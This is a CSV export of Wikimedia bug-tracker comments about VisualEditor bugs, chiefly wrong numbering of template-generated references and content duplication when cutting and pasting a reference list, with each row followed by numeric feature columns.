+241574,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",*** Bug 69373 has been marked as a duplicate of this bug. ***,,,1407719768,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,58,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+241570,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",*** Bug 52742 has been marked as a duplicate of this bug. ***,,,1402332002,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,49,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+241567,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",*** Bug 63210 has been marked as a duplicate of this bug. ***,,,1401416868,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,47,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+241563,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",*** Bug 51058 has been marked as a duplicate of this bug. ***,,,1385381556,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+241559,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",*** Bug 53777 has been marked as a duplicate of this bug. ***,,,1383003781,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,17,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+241554,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","**kwwilliams** wrote:
+
+(In reply to comment #25)
+> (In reply to comment #23)
+> > There's no way to code a single template that generates both a reference and
+> > table markup without using {{#tag:ref}}. 
+> 
+> True. This should have given you pause to consider /why/ it wasn't available
+> until recently. :-)
+
+Laughing while you dismiss my comments adds a layer of rudeness to the discussion that is completely unnecessary.",,,1377843814,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,8,,0,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+241547,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",*** Bug 53486 has been marked as a duplicate of this bug. ***,,,1377823296,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+241542,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","(In reply to comment #23)
+> There's no way to code a single template that generates both a reference and
+> table markup without using {{#tag:ref}}. 
+
+True. This should have given you pause to consider /why/ it wasn't available until recently. :-)
+
+> If you didn't think ""any reference created by a template shouldn't work,
+> deliberately"" would be read as a refusal to fix that particular aspect of
+> this bug, I have no idea what you intended it to mean.
+
+Translation: When we made MW's citation system, the intent right from the start was to never, ever let people create nested references, or references that need to be parsed multiple times, because it creates endless issues.
+
+Unfortunately, when later the {{#tag:xxx}} system was created, the person implementing that didn't remember this issue and instead has indeed given rise to all manner of epic problems.
+
+> I also don't see that this bugzilla specifically addresses the ability for
+> the names and contents of template generated references to be available to an
+> editor that is using the ""add reference"" dialog.
+
+That would be the ""don't show up as references to insert"" part of the title. :-)",,,1377823070,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,8,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,0,1,1,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+241534,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","We might actually be able to use the same CSS technique I developed for auto-numbered external links in bug 53505 for citations. That would at least fix the numbering without extra effort, but won't help with <references> rendering and editing.",,,1377822959,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1
+241527,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","**kwwilliams** wrote:
+
+There's no way to code a single template that generates both a reference and table markup without using {{#tag:ref}}. 
+
+If you didn't think ""any reference created by a template shouldn't work, deliberately"" would be read as a refusal to fix that particular aspect of this bug, I have no idea what you intended it to mean.
+
+I also don't see that this bugzilla specifically addresses the ability for the names and contents of template generated references to be available to an editor that is using the ""add reference"" dialog.",,,1377822665,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,8,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0
+241519,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","(In reply to comment #21)
+> Describing a widely used template as a ""hack"" and refusing to fix the bugs
+> associated with VE in terms of editing it is not a valid solution.
+
+Who said I was refusing to fix it?
+
+> The template does work and the references work fine using the normal editor.
+> There's no way to code the template to not include the #ref.
+
+<ref>{{foo}}</ref> works just fine, because that's how it was designed to be used. If you want an easier way to edit, use VE. ;-)
+
+> It is not within the scope of the VE project to refuse to fix problems
+> because they are hard.
+
+This is off-topic, but actually, it is very much part of Wikimedia's job to make decisions about whether it is worth spending large amounts of donor funds on marginal use cases rather than features that can't be done in other ways.
+
+> I strongly, strongly object to the implication in the addition to 52478 that
+> implies that this bug in VE will never be fixed.
+
+There is no such implication; there is clearly the inference in your reading of it, however. We will fix this bug - the comment just explains the priority of this bug in relation to others.",,,1377821853,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,8,,1,0,1,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,1,1,0,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+241508,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","**kwwilliams** wrote:
+
+Describing a widely used template as a ""hack"" and refusing to fix the bugs associated with VE in terms of editing it is not a valid solution. The template does work and the references work fine using the normal editor. There's no way to code the template to not include the #ref.
+
+It is not within the scope of the VE project to refuse to fix problems because they are hard.
+
+I strongly, strongly object to the implication in the addition to 52478 that implies that this bug in VE will never be fixed.",,,1377819846,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,8,,0,0,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,1,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+241500,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",*** Bug 52478 has been marked as a duplicate of this bug. ***,,,1377819444,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+241491,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",Resolving Bug 28980 could relieve at least part of this problem by lifting the need to use <ref> because of localization issues.,,,1374930557,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1
+241483,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",*** Bug 52083 has been marked as a duplicate of this bug. ***,,,1374880234,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+241478,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","The ref duplication issue (last bullet point) was actually a Parsoid bug which is fixed with the commit above. It only manifested itself in templated references sections which are not rendered by VE. The fix is deployed to production.
+
+The other VE issues remain, but fortunately are less visible to users unless they modify references.",,,1372714617,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,1,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0
+241473,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Change 71528 merged by jenkins-bot:
+Bug 50474: Remove children of references node
+
+https://gerrit.wikimedia.org/r/71528",,,1372714324,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+241467,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Change 71528 had a related patch set uploaded by GWicke:
+WIP Bug 50474: Remove children of references node
+
+https://gerrit.wikimedia.org/r/71528",,,1372713484,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+241463,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","I think so far we have seen several issues in this area:
+
+* References from templated content are not being picked up by VE, which causes
+
+** the numbering to be off
+
+** those references to be missing in references
+
+** edits to refs whose primary (first in DOM order) definition is templated just update the first non-templated ref alias in the page. Those changes are then not rendered in the PHP parser. Correct behavior would be to explain why that reference cannot be edited.
+
+* Some refs are duplicated in the references section",,,1372712260,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+241458,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Parsoid provides ref info also inside template-generated content, and our ref / references rendering code make use of that. I have proposed to share that code in bug 50505. 
+
+Using the Parsoid rendering on first load could be a workaround, but hacking dynamic updates into that sounds like more trouble than it's worth.",,,1372700420,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+241452,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",This also prohibits references utilised in templates from being used elsewhere on the page via the template inspector. Blah :/.,,,1372699735,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+241449,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","(In reply to comment #9)
+> IIRC the VE renders (and numbers) references natively without using our
+> rendering at all. Which would make this a VE bug. Trying to confirm.
+That's correct. VE does not see the first two references because they are in a template, and so it mistakenly believes the one in ""Early years"" is the first one.
+
+We could mitigate this by using the numbering Parsoid gives us.",,,1372699677,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+241443,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Moved to VE, as the numbering seems to be re-done in VE.",,,1372696659,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+241437,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",IIRC the VE renders (and numbers) references natively without using our rendering at all. Which would make this a VE bug. Trying to confirm.,,,1372696532,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,0,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+241431,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","It seems that this bug doesn't cause any wikitext corruption, but only affects display in VE.  Still something we should fix on the Parsoid end, but not as troublesome as I initially thought this was.",,,1372695038,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,0,,1,1,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+241425,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Looks like the ref-counter has been reset after the 2nd ref-tag was processed and also, 13 references are duplicated (the first 2 are not duplicated).
+
+The bug cannot be duplicated locally.  So, I suspect something is off when refs are being reused from Varnish caches.",,,1372633730,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,2,True,,,-1,,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+241417,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",Indeed. In my defence it's 10pm on a Sunday :/,,,1372626164,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+241411,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Ah, I see the new screenshot. You wanted to write ""Early years""?",,,1372622488,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0
+241403,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Yes, there are references with the same name, split into multiple entries but I don't understand how the screenshots you attached should demonstrate that.",,,1372622399,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+241397,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","How it actually looks
+
+**Attached**: {F11401}",,,1372621957,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0
+241391,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","How it actually looks
+
+//attachment Screen Shot 2013-06-30 at 12.24.02 PM.png ignored as obsolete//",,,1372620753,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+241386,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","How it should look
+
+**Attached**: {F11400}",,,1372620731,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0
+52465,"VisualEditor: Cut-and-paste swap of reference list creates massive content duplication, pawns (♙) and snowmen (☃) galore","https://en.wikipedia.org/w/index.php?title=Edamattom&diff=562268939&oldid=562266260 <- this was from an attempt to swap a references section and an external links section. We cannot have this scale corruption on launch. I'd be most grateful if someone could find out what the heck happened, and also confirm with some degree of certainty that it won't happen again.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51677",Medium,50.0,1372612320,1378550137.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-xnsrcsuce62r2yfruwso,task_description,declined,True,c1,2,False,False,True,-1,,1,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,1,1
+240813,"VisualEditor: Cut-and-paste swap of reference list creates massive content duplication, pawns (♙) and snowmen (☃) galore",I think this has been fixed for a while. Re-open if you can reproduce it.,,,1378550137,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-xnsrcsuce62r2yfruwso,task_subcomment,,True,c1,3,True,,,9,,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+240807,"VisualEditor: Cut-and-paste swap of reference list creates massive content duplication, pawns (♙) and snowmen (☃) galore","I can reproduce it.  With a lot of the pawn bugs fixed now, maybe it has disappeared.",,,1374461315,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-xnsrcsuce62r2yfruwso,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+240803,"VisualEditor: Cut-and-paste swap of reference list creates massive content duplication, pawns (♙) and snowmen (☃) galore","Oh, meant to add that the loop may well have been infinite but I tried to force the save (with ultimate success).",,,1372612642,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-xnsrcsuce62r2yfruwso,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+240800,"VisualEditor: Cut-and-paste swap of reference list creates massive content duplication, pawns (♙) and snowmen (☃) galore","Given the severity, I'll try to recreate what I was doing but it was basically an attempt to cut the existing External Links section and paste it after the References. As I had made other changes, I can't rule out the idea that I could have stopped editing at the first sight of white pawns; certainly, I saw a couple just before the main ""whumpfh"" of the loop kicking in, but the loop might have already started by then.
+
+Browser: Chrome latest (27.0.1453.116) running on Windows 7. Plenty of RAM (before the loop, anyway :P).",,,1372612568,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-xnsrcsuce62r2yfruwso,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+52442,VisualEditor: One should be able to select (and copy) the text of an edit notice,"When a notice is shown (on beta), it's not possible for the user to mark the text and copy.
+
+--------------------------
+**Version**: unspecified
